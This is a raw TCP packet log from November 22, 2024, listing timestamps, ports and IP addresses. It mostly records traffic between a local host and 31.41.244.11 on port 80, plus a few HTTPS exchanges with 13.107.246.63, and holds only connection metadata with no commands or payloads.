Nov 22, 2024 04:12:15.601124048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.601191044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.601958990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.602009058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.602073908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.602118969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.602842093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.602967024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.603018045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.603797913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.603853941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.603919029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.604613066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.604662895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.604746103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.605515957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.605566025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.605631113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.605678082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.606462955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.606590033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.606641054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.607283115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.607639074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.607691050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.608148098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.608197927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.608264923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.609054089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.609105110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.609175920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.609931946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.609982967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.610049963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.610097885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.610825062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.610913038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.610965967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.611426115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.611557961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.611605883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.612329006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.612468958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.612518072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.613215923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.613265038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.613312006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.614078999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.614129066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.664381027 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.664853096 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.664868116 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.665299892 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.665306091 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.769328117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.769370079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.769427061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.769454956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.769526005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.769581079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.769598961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.769649029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.770392895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.770458937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.770515919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.770564079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.771274090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.771336079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.771404028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.771454096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.772145987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.772198915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.772264957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.772311926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.773058891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.773108959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.773175001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.773225069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.773935080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.773983002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.774050951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.774097919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.774807930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.774857998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.774924994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.774976969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.775686026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.775738955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.775856018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.775899887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.776580095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.776631117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.776698112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.776746035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.777481079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.777530909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.777595997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.777636051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.778424978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.778479099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.778544903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.778594971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.779233932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.779284954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.779352903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.779402018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.780128956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.780180931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.780247927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.780292988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.781023026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.781069994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.781274080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.781325102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.781874895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.781924963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.781991959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.782038927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.782783031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.782833099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.782912016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.782959938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.783654928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.783708096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.783791065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.783839941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.784539938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.784590006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.784704924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.784754992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.785440922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.785490036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.785562038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.785609007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.786305904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.786360025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.786420107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.786467075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.787195921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.787249088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.787331104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.787384987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.788074970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.788127899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.788197994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.788245916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.788964987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.789011955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.789082050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.789129972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.789846897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.789896965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.789966106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.790062904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.790735006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.790846109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.790893078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.791627884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.791680098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.791724920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.791774035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.792505980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.792560101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.792629004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.792679071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.793409109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.793457985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.793517113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.793565035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.794264078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.794312954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.794364929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.794406891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.795124054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.795178890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.795262098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.795309067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.796036959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.796087980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.796169043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.796221018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.796921015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.796967983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.797036886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.797086000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.797811031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.797863007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.797928095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.797976017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.798697948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.798749924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.798811913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.798861980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.799580097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.799629927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.799696922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.799745083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.800456047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.800508022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.800576925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.800626040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.801333904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.801387072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.801459074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.801507950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.802323103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.802375078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.802442074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.802489996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.803128958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.803175926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.803378105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.803428888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.803999901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.804049015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.804114103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.804167986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.804894924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.804945946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.805007935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.805054903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.805769920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.805824041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.805888891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.805938005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.806672096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.806725025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.806792974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.806838036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.807538986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.807590008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.807656050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.807703972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.808438063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.808487892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.808557034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.808604956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.809303999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.809355974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.809422016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.809473038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.810192108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.810250044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.810436964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.810484886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.811083078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.811136007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.811203957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.811295033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.811949968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.812009096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.812028885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.812077045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.812575102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.812625885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.812693119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.812742949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.813488007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.813536882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.813648939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.813699961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.814338923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.814390898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.814459085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.814510107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.815207958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.815254927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.930136919 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.930780888 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.930794954 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.931193113 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.931196928 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.970432997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.970493078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.970577002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.970624924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.970745087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.970860004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.970887899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.970897913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.971434116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.971482992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.971555948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.971605062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.972318888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.972368002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.972431898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.972479105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.973205090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.973256111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.973262072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.973325968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.974070072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.974131107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.974198103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.974246979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.974947929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.975043058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.975075006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.975123882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.975841999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.975892067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.975960016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.976056099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.976766109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.976816893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.976974964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.977024078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.977624893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.977674961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.977761984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.977809906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.978482962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.978533030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.978600979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.978650093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.979377985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.979428053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.979496002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.979543924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.980256081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.980313063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.980379105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.980428934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.981168032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.981225967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.981292963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.981345892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.982049942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.982109070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.982192039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.982244015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.982943058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.982997894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.983057022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.983108044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.983798027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.983859062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.983927965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.983978033 CET	49760	80	192.168.2.4	31.41.244.11
